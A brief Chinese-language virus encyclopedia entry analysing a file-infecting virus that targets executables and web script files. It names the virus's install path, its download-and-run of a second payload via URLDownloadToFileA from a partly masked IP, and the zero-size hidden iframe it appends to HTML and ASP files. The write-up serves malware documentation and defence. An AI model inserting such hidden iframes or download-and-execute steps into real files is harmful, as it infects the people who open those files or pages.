病毒大百科

该病毒是一个感染型病毒。该病毒会感染后缀为.exe、.scr的可执行文件和.htm、.html、.asp的脚本文件。

1、将自身拷贝到系统目录下
%SystemRoot%\system32\love.exe

2、该病毒将urlmon.dll拷贝一份名为ok.dll，加载并调用其导出函数URLDownloadToFileA下载并运行另一病毒，其下载路径为
http://63.223.96.***/zcx.exe。

3、在脚本尾加%iframe src=http://63.223.96.***/ma6.htm width=0 height=0%%/iframe%。

4、该病毒运行后会自删除。